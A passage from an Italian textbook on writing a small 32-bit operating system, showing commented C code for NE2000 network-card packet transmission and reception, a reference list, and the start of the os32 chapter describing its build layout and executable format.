    if (in_8 (io + 0x07) & 0x40)                              // ISR
      {
        //
        // Il registro ISR dà la conferma e se ne azzera
        // l'indicatore relativo, senza interferire con gli
        // altri.
        //
        out_8 ((io + 0x07), 0x40);                            // ISR
        break;
      }
  }
//
// Si dichiara il blocco di memoria interna (pagina) in cui è contenuto
// il pacchetto da inviare. Si imposta il registro TPSR (0x04) con il
// valore 0x40, corrispondente al blocco che inizia all'indirizzo
// 0x4000.
//
out_8 (io + 0x04, 0x40);                                      // TPSR
//
// Si dichiara la quantità di byte da trasmettere, utilizzando
// i registri TBCRn (0x05 e 0x06).
//
out_8 ((io + 0x05), (size & 0xFF));                           // TBCR0
out_8 ((io + 0x06), (size >> 8));                             // TBCR1
//
// Finalmente si trasmette il pacchetto.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0x26
// `-------------------------------'
//  \_____/ \_________/  |   |
//     |         |       |  Start
//     |         |      Transmit packet
//     |        Abort/complete remote DMA
//    Register
//    page 0
//
out_8 ((io + 0x00), 0x26);                                    // CR
//
// Si attende che il pacchetto sia stato trasmesso o che sia riportato
// un errore.
//
```

```
// Interrupt status register (ISR)
// .-------------------------------.
// |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
// |-------------------------------|
// | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0x0A
// `-------------------------------'
//                   |       |
//                   |       Packet transmitted with no errors
//                   Transmit error
//
while (1)
  {
    if (in_8 (io + 0x07) & 0x0A)                                // ISR
      {
        //
        // Azzeramento degli indicatori previsti.
        //
        out_8 ((io + 0x07), 0x0A);                              // ISR
        break;
      }
  }
//
// Si verifica nel registro TSR (0x04) l'esito della trasmissione.
//
// Transmit status (TSR)
// .-------------------------------.
// |OWC|CDH| FU|CRS|ABT|COL| - |PTX|
// |-------------------------------|
// | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0x38
// `-------------------------------'
//           |   |   |
//           |   |   Transmit aborted
//           |   Carrier sense lost
//           FIFO underrun
//
status = in_8 (io + NE2K_TSR);
if (status & 0x38)
  {
    errset (EIO);
    return (-1);
  }
//
// Fine
//
return (0);
```

108.11.9 Ricezione

Alla ricezione dei pacchetti (trame) provvede l'interfaccia, ammesso di avere configurato tutto opportunamente, come mostrato in precedenza, sapendo che il registro ***CURR*** indica il blocco (la pagina) della memoria interna in cui va collocato il prossimo pacchetto ricevuto. Per il prelievo di questi dati dalla memoria interna, si utilizza il registro ***BNRY***, il quale rappresenta il blocco di memoria ancora da leggere. Sapendo che inizialmente i registri ***BNRY*** e ***CURR*** puntano entrambi al blocco iniziale di memoria interna destinato ad accogliere i dati ricevuti, il valore contenuto nel registro ***BNRY*** non può superare ***CURR***. Quando però la ricezione procede velocemente, più di quanto si provveda a estrarre i pacchetti, il registro ***CURR*** può raggiungere di nuovo ***BNRY***, ma in tal caso si ottiene uno straripamento che deve essere gestito in qualche modo.

Secondo l'organizzazione prevista in precedenza, la porzione di memoria interna destinata alla ricezione dei pacchetti va da 4600_{16} a $BFFF_{16}$, inclusi.

Nell'esempio del listato seguente, come già in quelli precedenti, la variabile ***io*** rappresenta la porta di I/O iniziale, per accedere all'interfaccia; inoltre, ***destination*** è un puntatore all'area di memoria in cui va collocato un pacchetto; tale puntatore si ottiene attraverso una funzione, denominata ***new_frame()***.

```
int   i;
int   bytes;
int   curr;
int   bnry;
int   next;
int   frame_status;
int   frame_size;
int   status;
char *destination;
//
// Si seleziona la seconda pagina di registri, per poter accedere
// poi al registro CURR.
//
// Command register (CR) 0x00
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0x62
// `-------------------------------'
//  \_____/ \_________/      |
//     |         |          START
//     |         |
//     |         Abort/complete remote DMA
//     |
//     Register page 1
//
out_8 ((io + 0x00), 0x62);                                      // CR
//
// Legge la posizione corrente dell'indice di scrittura
// CURR (0x07).
```

```
//
curr = in_8 (io + 0x07);                                      // CURR
//
// Si seleziona nuovamente la prima pagina di registri.
//
// Command register (CR) 0x00
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0x22
// `-------------------------------'
//  \_____/ \__________/       |
//     |         |           START
//     |         |
//     |         Abort/complete remote DMA
//     |
//     Register page 0
//
out_8 ((io + 0x00), 0x22);                                    // CR
//
// Si legge il valore contenuto nel registro BNRY (0x03).
//
bnry = in_8 (io + 0x03);                                      // BNRY
//
// Si parte dal presupposto che ci sia almeno un pacchetto da leggere;
// pertanto, se anche i registri CURR e BNRY fossero uguali,
// significherebbe solo che tutta la memoria interna destinata
// alla ricezione, richiede di essere letta.
//
// Si passa al prelievo di tutti i pacchetti pronti per il prelievo
// nell'area di memoria interna.
//
while (1)
  {
    //
    // Trova un posto dove mettere un pacchetto ricevuto.
    //
    destination = new_frame ();
    //
    // Ci si prepara a leggere i primi quattro byte, iniziando
    // dal blocco di memoria a cui si riferisce la variabile 'bnry'.
    //
    out_8 ((io + NE2K_RBCR0), 4);
    out_8 ((io + NE2K_RBCR1), 0);
    //
    out_8 ((io + NE2K_RSAR0), 0); // Deve essere zero!
    out_8 ((io + NE2K_RSAR1), bnry);
    //
```

```
    // Si predispone il registro CR (0x00) per la lettura della
    // memoria interna.
    //
    // Command register (CR)
    // .-------------------------------.
    // |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
    // |-------------------------------|
    // | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0x0A
    // `-------------------------------'
    //  \_____/ \_________/      |
    //     |         |          START
    //     |         |
    //     |        Read
    //     |
    //    Register page 0
    //
    out_8 (io + 0x00, 0x1A);                                    // CR
    //
    // Si leggono e si salvano le informazioni ottenute. La lettura
    // si esegue dalla porta di comunicazione destinata alla
    // trasferimento di dati con la memoria interna
    //
    frame_status = in_8 (io + 0x10);         // frame status
    next         = in_8 (io + 0x10);         // next frame
    frame_size   = in_8 (io + 0x10);         // frame size low
    frame_size  += (in_8 (io + 0x10) * 256); // frame size high
    //
    // Si attende che il registro ISR (0x07) confermi il completamento
    // dell'operazione di lettura.
    //
    // Interrupt status register (ISR)
    // .-------------------------------.
    // |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
    // |-------------------------------|
    // | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0x40
    // `-------------------------------'
    //       |
    //       Remote DMA complete
    //
    while (1)
      {
        if (in_8 (io + 0x07) & 0x40)                            // ISR
          {
            //
            // Azzeramento degli indicatori previsti.
            //
            out_8 ((io + 0x07), 0x40);                          // ISR
            break;
```

```
        }
      }
    //
    // Adesso si sa quanto è grande il pacchetto da leggere, ma
    // si deve ripetere la lettura a cominciare dai primi quattro
    // byte di intestazione, anche se questi non fanno parte
    // del pacchetto (la trama Ethernet).
    //
    if (next > bnry)
      {
        bytes = frame_size;
      }
    //
    if (next < bnry)
      {
        //
        // Se il pacchetto successivo si trova in un blocco antecedente
        // alla posizione iniziale di lettura, significa che quello
        // attuale si estende oltre la fine dell'area di memoria
        // (riprendendo all'inizio della stessa), pertanto in questo
        // caso occorre procedere con due fasi di lettura. Il valore
        // 0xC0 rappresenta il blocco di memoria successivo alla
        // conclusione dell'area di memoria destinata alla ricezione.
        // La quantità di blocchi da leggere viene moltiplicata per
        // 256, essendo questa la dimensione di un blocco.
        //
        bytes = ((0xC0 - bnry) * 256);
        bytes = min (bytes, frame_size);
      }
    //
    // Prima fase di lettura. Si ricorda che la lettura riparte
    // dall'inizio, pertanto vanno poi eliminati i primi quattro
    // byte di intestazione.
    //
    out_8 ((io + NE2K_RBCR0), bytes & 0xFF);
    out_8 ((io + NE2K_RBCR1), bytes >> 8);
    //
    out_8 ((io + NE2K_RSAR0), 0);     // MUST be zero. :-(
    out_8 ((io + NE2K_RSAR1), bnry);
    //
    // Si imposta il registro CR (0x00) per la lettura.
    //
    // Command register (CR)
    // .-------------------------------.
    // |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
    // |-------------------------------|
    // | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0x0A
    // `-------------------------------'
```

```
    //  \_____/ \_________/      |
    //     |         |          START
    //     |         |
    //     |        Read
    //     |
    //     Register page 0
    //
    out_8 (io + 0x00, 0x0A);                                    // CR
    //
    // Legge e scarta i primi quattro byte di intestazione.
    //
    in_8 (io + 0x10);                                           // DATA
    in_8 (io + 0x10);                                           // DATA
    in_8 (io + 0x10);                                           // DATA
    in_8 (io + 0x10);                                           // DATA
    //
    // Riduce la quantità di byte ancora da leggere di conseguenza.
    //
    bytes -= 4;
    //
    // Passa alla lettura del pacchetto.
    //
    i = 0;
    for (; bytes > 0; i++, bytes--)
      {
        destination[i] = in_8 (io + 0x10);                      // DATA
      }
    //
    // Si attende la conclusione dell'operazione, controllando
    // l'esito nel registro ISR (0x07).
    //
    // Interrupt status register (ISR)
    // .-------------------------------.
    // |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
    // |-------------------------------|
    // | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0x40
    // `-------------------------------'
    //       |
    //       Remote DMA complete
    //
    while (1)
      {
        if (in_8 (io + 0x07) & 0x40)                            // ISR
          {
            //
            // Azzeramento degli indicatori previsti.
            //
            out_8 ((io + 0x07), 0x40);                          // ISR
```

```
            break;
          }
      }
    //
    if (next < bnry)
      {
        //
        // Dato che il pacchetto successivo si trova in un
        // blocco di memoria antecedente all'inizio di quello
        // letto, potrebbe esserci una seconda parte da leggere.
        // Se il calcolo successivo da un risultato maggiore
        // di zero, c'è effettivamente ancora da leggere, a partire
        // dal blocco di memoria 0x46.
        //
        bytes = frame_size - ((0xC0 - bnry) * 256);
      }
    //
    if (bytes > 0)
      {
        //
        out_8 ((io + NE2K_RBCR0), bytes & 0xFF);
        out_8 ((io + NE2K_RBCR1), bytes >> 8);
        //
        out_8 ((io + NE2K_RSAR0), 0);
        out_8 ((io + NE2K_RSAR1), 0x46);
        //
        // Command register (CR)
        // .-------------------------------.
        // |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
        // |-------------------------------|
        // | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0x0A
        // `-------------------------------'
        //  \_____/ \_________/      |
        //     |         |          START
        //     |         |
        //     |        Read
        //     |
        //     Register page 0
        //
        out_8 (io + 0x00, 0x0A);                                // CR
        //
        for (; bytes > 0; i++, bytes--)
          {
            destination[i] = in_8 (io + 0x10);                  // DATA
          }
        //
        // Interrupt status register (ISR)
        // .-------------------------------.
```

```
        // |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
        // |-------------------------------|
        // | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0x40
        // `-------------------------------'
        //       |
        //       Remote DMA complete
        //
        while (1)
          {
            if (in_8 (io + 0x07) & 0x40)                        // ISR
              {
                //
                // Azzeramento degli indicatori previsti.
                //
                out_8 ((io + 0x07), 0x40);                      // ISR
                break;
              }
          }
      }
    //
    // Essendosi conclusa la lettura del pacchetto, si aggiorna BNRY
    // 0x03.
    //
    bnry = next;
    out_8 (io + 0x03, bnry);                                    // BNRY
    //
    // Se il valore attuale di BNRY coincide con quello di CURR,
    // il ciclo termina.
    //
    if (bnry == curr)
      {
        //
        // Fine.
        //
        return;
      }
  }
```

108.12 Riferimenti

- *Intel® 64 and IA-32 Architectures Software Developer's Manuals*
  ⟨*http://developer.intel.com/products/processor/manuals/index.htm*⟩
- David Brackeen, *256-Color VGA Programming in C*
  ⟨*http://www.brackeen.com/vga/*⟩

- Brandon Friesen, *Bran's kernel development tutorial*
  ⟨*http://www.osdever.net/bkerndev/Docs/title.htm* ⟩
- Wikipedia, *Global Descriptor Table*
  ⟨*http://en.wikipedia.org/wiki/Global_Descriptor_Table* ⟩
- *Higher Half With GDT*
  ⟨*http://wiki.osdev.org/Higher_Half_With_GDT* ⟩
- Weqaar A. Janjua, *IA-32 Boot sector code*
  ⟨*http://sites.google.com/site/weqaar/Home/files* ⟩
- Gergor Brunmar, *The world of Protected mode*
  ⟨*http://www.osdever.net/tutorials/pdf/gb_pmode.pdf* ⟩
- John Fine, *Descriptor Tables: GDT, IDT and LDT*
  ⟨*http://www.osdever.net/tutorials/pdf/descriptors.pdf* ⟩
  ⟨*http://www.osdever.net/tutorials/view/descriptor-tables-gdt-idt-ldt* ⟩
- Jochen Liedtke, *Segments, Intel's IA-32 from a system architecture view*
  ⟨*http://i30www.ira.uka.de/teaching/coursedocuments/48/segments.pdf* ⟩
  ⟨*http://i30www.ira.uka.de/teaching/coursedocuments/48/segments.pps* ⟩
- Allan Cruse, *CS 630: Advanced Microcomputer Programming*
  ⟨*http://www.cs.usfca.edu/~cruse/cs630f06/* ⟩
- Wikipedia, *Interrupt descriptor table*
  ⟨*http://en.wikipedia.org/wiki/Interrupt_descriptor_table* ⟩
- *Interrupt Descriptor Table*
  ⟨*http://wiki.osdev.org/Interrupt_Descriptor_Table* ⟩
- Alexander Blessing, *Programming the PIC*
  ⟨*http://www.osdever.net/tutorials/pdf/pic.pdf* ⟩
- *8259 Programmable Interrupt Controller (PIC)*
  ⟨*http://www.pklab.net/kbase/infind/pic-pit/pit-notes.txt* ⟩
- *Write your own Operating System*: *Interrupt Service Routines*
  ⟨*http://wiki.osdev.org/Interrupt_Service_Routines* ⟩
- Wikipedia, *Intel 8253*
  ⟨*http://en.wikipedia.org/wiki/Intel_8253* ⟩
- *Write your own Operating System*: *Programmable Interval Timer*
  ⟨*http://wiki.osdev.org/Programmable_Interval_Timer* ⟩
- Mark Feldman, *Programming the Intel 8253 Programmable Interval Timer*
  ⟨*http://www.qzx.com/pc-gpe/pit.txt* ⟩
  ⟨*http://www.nondot.org/sabre/os/files/MiscHW/PIT.txt* ⟩

- Salvatore D'Angelo, *Keyboard Driver*

  ⟨*http://opencommunity.altervista.org/samples/openjournal/keyboard.html* ⟩

- Adam Chapweske, *The PS/2 Keyboard Interface*

  ⟨*http://www.burtonsys.com/ps2_chapweske.htm* ⟩

  ⟨*http://www.tayloredge.com/reference/Interface/atkeyboard.pdf* ⟩

- OSDev Wiki, *ATA PIO mode*

  ⟨*http://wiki.osdev.org/ATA_PIO_Mode* ⟩

- T13, *AT Attachment with Packet Interface - 6 (ATA/ATAPI-6)*

  ⟨*http://bos.asmhackers.net/docs/ata/docs/ata-atapi-6-3b.pdf* ⟩

- LDP, *PCI*

  ⟨*http://tldp.org/LDP/tlk/dd/pci.html* ⟩

- OSDev Wiki, *PCI*

  ⟨*http://wiki.osdev.org/PCI* ⟩

- PLX technology, *pci 9054*

  ⟨*http://www.nikhef.nl/~peterj/datasheets/9054db-1C.pdf* ⟩

- *PCI and AGP Vendors, Devices and Subsystems identification file*

  ⟨*http://members.datafast.net.au/dft0802* ⟩

  ⟨*http://members.datafast.net.au/dft0802/downloads.htm* ⟩

- OSDev Wiki, *NE2000*

  ⟨*http://wiki.osdev.org/Ne2000* ⟩

- National semiconductor, *DP8390D/NS32490D NIC network interface controller*

  ⟨*http://www.national.com/pf/DP/DP8390D.html* ⟩

- National semiconductor, *Writing drivers for DP8390 NIC family of ethernet controllers*

  ⟨*http://www.datasheetarchive.com/Indexer/Datasheet-017/DSA00296168.html* ⟩

- Realtek, *RTL8019AS, Realtek Full-Duplex Ethernet Controller with Plug and Play Function (RealPNP), SPECIFICATION*

  ⟨*http://www.ethernut.de/pdf/8019asds.pdf* ⟩

[1] La modalità protetta è quella che consente di accedere alla memoria oltre il limite di 1 Mibyte.

[2] Alla tabella GDT possono essere collegate delle tabelle LDT, ovvero *local description table*, con il compito di individuare delle porzioni di memoria per conto di processi elaborativi singoli.

[3] Per accesso lineare alla memoria si intende che l'indirizzo relativo del segmento corrisponde anche all'indirizzo reale della memoria stessa. In inglese si usa il termine *flat memory*.

[4] Per rappresentare i numeri da 0 a 8 191 servono precisamente 13 bit. Nei selettori di segmento si usano i 13 bit più significativi per individuare un descrittore.

Capitolo 109 Studio per un sistema a 32 bit

109.1 Introduzione a os32 6679

109.1.1 Organizzazione 6680
109.1.2 Le directory 6680
109.1.3 La struttura degli eseguibili 6681
109.1.4 Tabelle 6683
109.1.5 Guida di stile 6683
109.1.6 Tipi derivati speciali 6685

109.2 Caricamento ed esecuzione del kernel 6687

109.2.1 Multiboot 6687
109.2.2 File «kernel.ld», «kernel/main/crt0.s» e «kernel/main/stack.s» 6689
109.2.3 File «kernel/main.h» e «kernel/main/*» 6692

109.3 Funzioni interne legate all'hardware, nei file «kernel/ibm_i386.h» e «kernel/ibm_i386/...» 6696

109.3.1 Funzioni per l'input e l'output con le porte interne 6696
109.3.2 Funzioni accessorie alla gestione delle interruzioni hardware 6696
109.3.3 Gestione della tabella GDT 6697
109.3.4 Gestione della tabella IDT 6699
109.3.5 Gestione delle interruzioni 6701

109.4 Gestione dei processi 6702

109.4.1 File «kernel/ibm_i386/isr.s» 6703
109.4.2 La tabella dei processi 6709
109.4.3 Chiamate di sistema 6713
109.4.4 Funzione «proc_init()» 6714
109.4.5 Funzione «sysroutine()» 6714
109.4.6 Funzione «proc_scheduler()» 6715
109.4.7 Programmazione dei segnali 6717
109.4.8 Salvataggio e recupero della pila per i «salti non locali» 6720

109.5 Caricamento ed esecuzione delle applicazioni 6723

109.5.1 Caricamento in memoria 6723
109.5.2 Il codice iniziale dell'applicativo 6724

109.6 Gestione della memoria 6727

109.6.1 File «kernel/memory.h» e «kernel/memory/...» 6727
109.6.2 Scansione della mappa di memoria 6729

109.7 Dispositivi 6730

109.7.1 File «kernel/dev.h» e «kernel/dev/...» 6730
109.7.2 File «kernel/blk.h» e «kernel/blk/...» 6732
109.7.3 Numero primario e numero secondario 6732
109.7.4 Dispositivi previsti 6733
109.7.5 Gestione del terminale 6734
109.7.6 Gestione delle unità di memorizzazione in generale 6741
109.7.7 Gestione delle unità PATA 6741

109.8 Gestione del file system 6743

109.8.1 File «kernel/fs/sb_...» 6743
109.8.2 File «kernel/fs/zone_...» 6745
109.8.3 File «kernel/fs/inode_...» 6746
109.8.4 Fasi dell'innesto di un file system 6750
109.8.5 Condotti 6751
109.8.6 File «kernel/fs/file_...» 6753
109.8.7 Descrittori di file 6755
109.8.8 File «kernel/fs/path_...» 6756
109.8.9 File «kernel/fs/fd_...» 6758

addr_t 6685 6727 ata_cmd_identify_device() 6742 ata_cmd_read_sectors() 6742 ata_cmd_write_sectors() 6742 ata_device() 6742 ata_drq() 6742 ata_init() 6742 ata_lba28() 6742 ata_rdy() 6742 ata_read_sector() 6743 ata_reset() 6742 ata_sector_t 6685 6741 ata_t 6685 6741 ata_valid() 6742 ata_write_sector() 6743 blk.h 6732 blk_ata.c 6732 blk_cache_init.c 6732 blk_cache_read.c 6732 blk_cache_save.c 6732 blk_cache_t 6685 cli() 6697 crt0.s 6689 dev.h 6730 dev/dev_tty.c 6730 DEV_CONSOLE 6733 DEV_CONSOLE***n*** 6733 dev_dm.c 6730 DEV_DM***mn*** 6733 dev_io() 6730 dev_io.c 6730 dev_kmem.c 6730 DEV_KMEM_FILE 6733 DEV_KMEM_INODE 6733 DEV_KMEM_MMP 6733 DEV_KMEM_PS 6733 DEV_KMEM_SB 6733 DEV_MEM 6733 DEV_NULL 6733 DEV_PORT 6733 DEV_TTY 6733 DEV_ZERO 6733 directory_t 6685 dm_t 6741 fd_dup() 6758 fd_reference() 6758 fd_t 6685 file_reference() 6754 file_stdio_dev_make() 6754 file_t 6685 6753 fs.h 6743 gdt() 6699 gdt_load() 6699 gdt_print() 6699 gdt_segment() 6699 gdt_t 6685 header_t 6685 ibm_i386.h 6696 idt() 6700 idtr_t 6685 idt_descriptor() 6700 idt_irq_remap() 6700 idt_load() 6700 idt_print() 6700 idt_t 6685 inode_alloc() 6748 inode_check() 6748 inode_dir_empty() 6748 inode_file_read() 6748 inode_file_write() 6748 inode_free() 6748 inode_fzones_read() 6748 inode_fzones_write() 6748 inode_get() 6748 inode_pipe_make() 6748 inode_pipe_read() 6748 inode_pipe_write() 6748 inode_print() 6748 inode_put() 6748 inode_reference() 6748 inode_save() 6748 inode_stdio_dev_make() 6748 inode_t 6685 6746 inode_truncate() 6748 inode_zone() 6748 in_16() 6696 in_8() 6696 irq_off() 6697 irq_on() 6697 isr.s 6703 isr_exception_name() 6701

isr_exception_unrecoverable() 6701 isr_irq_clear() 6701 isr_irq_clear_pic1() 6701 isr_irq_clear_pic2() 6701 isr_***n***() 6701 kbd_isr() 6737 kbd_load() 6737 kbd_t 6685 kernel.ld 6689 kernel/memory.c 6727 longjmp() 6720 main() 6692 mb_alloc() 6728 mb_alloc_size() 6728 mb_clean() 6728 mb_free() 6728 mb_print() 6728 mb_reduce() 6728 mb_reference() 6728 mb_size() 6728 memory.h 6727 MEM_BLOCK_SIZE 6727 MEM_MAX_BLOCKS 6727 multiboot_t 6685 os32.h 6730 out_16() 6696 out_8() 6696 path_device() 6757 path_fix() 6756 path_full() 6756 path_inode() 6757 path_inode_link() 6757 proc.h 6702 proc_init() 6714 proc_scheduler() 6715 proc_sig_handler() 6717 proc_t 6685 6709 sb_inode_status() 6744 sb_mount() 6744 sb_print() 6744 sb_reference() 6744 sb_save() 6744 sb_t 6685 6743 sb_zone_status() 6744 screen_cell() 6739 screen_clear() 6739 screen_current() 6739 screen_init() 6739 screen_newline() 6739 screen_number() 6739 screen_pointer() 6739 screen_putc() 6739 screen_scroll() 6739 screen_select() 6739 screen_t 6685 screen_update() 6739 setjmp() 6720 stack.s 6689 sti() 6697 sysroutine() 6713 6714 s_chdir() 6757 s_chmod() 6757 s_chown() 6757 6759 s_dup() 6759 s_dup2() 6759 s_fchmod() 6759 s_fcntl() 6759 s_fstat() 6759 s_link() 6757 s_longjmp() 6720 s_lseek() 6759 s_mkdir() 6757 s_mknod() 6757 s_mount() 6757 s_open() 6757 s_pipe() 6759 s_read() 6759 s_setjmp() 6720 s_stat() 6757 s_umount() 6757 s_unlink() 6757 s_write() 6759 tty_console() 6736 tty_init() 6736 tty_read() 6736 tty_reference() 6736 tty_t 6685 tty_write() 6736 zno_t 6685 zone_alloc() 6746 zone_free() 6746 zone_print() 6746 zone_read() 6746 zone_write() 6746 _in_16() 6696 _in_8() 6696 _out_16() 6696 _out_8() 6696

109.1 Introduzione a os32

os32 è uno studio (derivato da os16, volume VI) che applica qualche rudimento relativo ai sistemi operativi, basandosi sull'architettura x86-32 IBM AT, utilizzando come strumenti di sviluppo GNU C, GNU AS e GNU LD, su un sistema GNU/Linux. Il risultato non è un sistema operativo utilizzabile, ma una struttura su cui poter fare esperimenti e di cui è possibile mostrare (in termini tipografici) ed eventualmente descrivere ogni riga di codice.

os32 contiene uno schedulatore banale e molto limitato, un'organizzazione dei processi ad albero e una funzionalità di amministrazione dei segnali, una gestione del file system Minix 1 e delle partizioni in stile Dos (ma solo di quelle primarie), una shell banale e qualche programma di servizio di esempio.

La differenza più importante di os32, rispetto a os16, sta nel fatto che non si utilizzano più le funzioni del BIOS tradizionale, dal momento che si opera in modalità protetta.

109.1.1 Organizzazione

Tutti i file di os32 dovrebbero essere disponibili a partire da ⟨*allegati/os32*⟩. In particolare, il file '`disk.hda`' è l'immagine di un vecchio disco PATA, suddiviso in due partizioni: la prima partizione con un file system Dos-FAT, contenente SYSLINUX e il kernel di os32; la seconda contenente un file system Minix 1 con il sistema.

Gli script preparati per os32 prevedono che i file system contenuti nel file-immagine che rappresentano l'unità PATA, in fase di sviluppo si trovino innestati nelle directory '`/mnt/disk.hda.1/`' e '`/mnt/disk.hda.2/`'. Pertanto, se si ricompila os32, tali directory vanno predisposte (oppure vanno modificati gli script con l'organizzazione che si preferisce attuare). Tuttavia, considerato che non è facile lavorare con file-immagine suddivisi in partizioni, altri script aiutano nelle operazioni di manutenzione: '`fdisk`', '`format`', '`mount`', '`umount`'.

Per la verifica del funzionamento del sistema, è previsto l'uso equivalente di Bochs o di Qemu. Per questo scopo sono disponibili gli script '`bochs`' e '`qemu`' (rispettivamente i listati 119.1.2 e 119.1.6), con le opzioni necessarie a operare correttamente.

Per la compilazione del lavoro si usano due script alternativi: '`makeit.mer`' o '`makeit.sep`' (listato 119.1.5). Lo script '`makeit.mer`' conduce una compilazione in cui i file eseguibili degli applicativi sono tali da condividere lo stesso segmento di memoria, sia per il codice, sia per i dati; al contrario, lo script '`makeit.sep`' fa sì che codice e dati siano distinti (il kernel si compila solo in formato ELF). I due script ricreano ogni volta i file-make, basandosi sui file presenti effettivamente nelle varie directory previste; inoltre, alla fine della compilazione, copiano il kernel nella prima partizione del file-immagine del disco PATA (purché risulti innestata come previsto nella directory '`/mnt/disk.hda.1/`') e nella seconda partizione copiano gli applicativi.

Va osservato che il lavoro si basa su un file system Minix 1 (sezione 79.7) perché è molto semplice, ma soprattutto, la prima versione è quella che può essere utilizzata facilmente in un sistema operativo GNU/Linux (sul quale avviene lo sviluppo di os32). È bene sottolineare che si tratta della versione con nomi da 14 caratteri, ovvero quella tradizionale del sistema operativo Minix, mentre nei sistemi GNU/Linux, la creazione predefinita di un file system del genere produce una versione particolare, con nomi da 30 caratteri.

109.1.2 Le directory

Gli script descritti nella sezione precedente, si trovano all'inizio della gerarchia prevista per os32. Le directory successive dividono in modo molto semplice le varie componenti per la compilazione:

Directory	Contenuto
'`applic/`'	File delle applicazioni da usare con os32.
'`kernel/`'	File per la realizzazione del kernel, inclusi i file di intestazione specifici.
'`lib/`'	File di intestazione generali, file della libreria C per le applicazioni e, per quanto possibile, anche per il kernel.
'`skel/`'	Scheletro del file system complessivo, con i file di configurazione e le pagine di manuale.

La libreria C non è completa, limitandosi a contenere ciò che serve per lo stato di avanzamento attuale del lavoro. Si osservi che nella directory '`lib/_gcc/`' si collocano file contenenti una

libreria di funzioni in linguaggio C, necessaria al compilatore GNU C per compiere il proprio lavoro correttamente con valori da 64 bit.

109.1.3 La struttura degli eseguibili

Nell'ottica della massima semplicità, gli eseguibili degli applicativi di os32 hanno una struttura propria, schematizzata dalla figura successiva. Tale struttura viene ottenuta attraverso i file sorgenti '`crt0.mer.s`' o '`crt0.sep.s`', e i file di configurazione di GNU LD '`applic.mer.ld`' o '`applic.sep.ld`'. La sigla '`*.mer.*`' individua la compilazione in un solo segmento, sia per il codice, sia per i dati, mentre la sigla '`*.sep.*`' riguarda la situazione opposta, in cui codice e dati si trovano divisi.

Figura 109.2. Struttura dei file eseguibili degli applicativi di os32.

	applicativo 32 bit, 4 byte	*codice e dati nello stesso segmento* 32 bit, 4 byte	*codice e dati indipendenti* 32 bit, 4 byte
0000	*jmp 0020* 0000	*jmp 0020* 0000	*jmp 0020* 0000
0004	6170706C	6170706C	6170706C
0008	6F733332	6F733332	6F733332
000C	*data offset*	00000000	= *end text*
0010	*end text*	*end text*	*end text*
0014	*end data*	*end data*	*end data*
0018	*end bss*	*end bss*	*end bss*
001C	*stack size*	*stack size*	*stack size*
0020	*codice*	*codice*	*codice*
end text	64617461	64617461	64617461
	6F733332	6F733332	6F733332
	dati inizializzati	*dati inizializzati*	*dati inizializzati*
		end data	*end data + end text*

Nella figura si mettono a confronto la struttura dell'eseguibile di un applicativo compilato per avere codice e dati nello stesso segmento, rispetto al caso in cui questi sono separati. Nei primi quattro byte c'è un'istruzione di salto al codice che si trova subito dopo l'intestazione, quindi appare un'impronta di riconoscimento che occupa complessivamente otto byte. Tale impronta è la rappresentazione esadecimale della stringa «os32appl», ma spezzata in due e rovesciata a causa dell'architettura *little endian* (se si legge il file in esadecimale, si vede la sequenza dei caratteri «lppa23so»).

Dopo l'impronta di riconoscimento si trovano, rispettivamente, lo scostamento del segmento dati, espresso in byte, gli indirizzi conclusivi dell'area del codice, dei dati inizializzati e di quelli non inizializzati. Alla fine viene indicata la dimensione richiesta per la pila dei dati. Per distinguere se l'eseguibile è fatto per gestire in un solo segmento codice e dati, oppure se questi devono essere separati, va osservato il valore di ***data_offset***: se questo è zero, significa

che il segmento dati parte dall'indirizzo zero, esattamente come il segmento codice, pertanto si trovano nello stesso spazio di indirizzamento. Se invece il valore di ***data_offset*** è diverso da zero, allora deve coincidere con il valore di ***end_text***, in quanto i dati inizializzati si trovano nel file a partire dalla fine del codice, ma devono poi collocarsi in un segmento separato, per cui il valore di ***end data*** è da intendere riferito all'indirizzo iniziale della zona dei dati, ovvero zero.

Nel file eseguibile, la porzione che contiene i dati inizializzati, parte con un'impronta ulteriore, costituita da «os32data», con gli stessi problemi di inversione già descritti per l'intestazione. Lo scopo di questa impronta è semplicemente quello di evitare che ci possano essere dati che iniziano precisamente dall'indirizzo zero, essendo questo riservato per il puntatore nullo.

Figura 109.3. Immagine in memoria dei processi generati dagli eseguibili di os32: a sinistra quelli in cui codice e dati condividono lo stesso segmento di memoria; a destra quelli che usano segmenti distinti.

Il kernel è in formato ELF, ma nella prima parte del codice viene piazzata un'impronta, secondo le specifiche multiboot (sezione 76.5.1).

Riquadro 109.4. Compilazione degli applicativi con codice e dati separati.

La compilazione degli applicativi che in memoria separano il segmento codice da quello dei dati avviene in modo più complicato rispetto all'altro metodo, perché codice e dati iniziano formalmente dall'indirizzo zero e non è possibile procedere a una compilazione «binaria» normale. Pertanto, in questo caso si crea inizialmente un formato ELF provvisorio; poi, attraverso lo script '`elf-to-os32`' che a sua volta si avvale di '**`objdump`**', vengono individuate le componenti che servono dal file ELF e ricomposte secondo il formato che si aspetta os32.

109.1.4 Tabelle

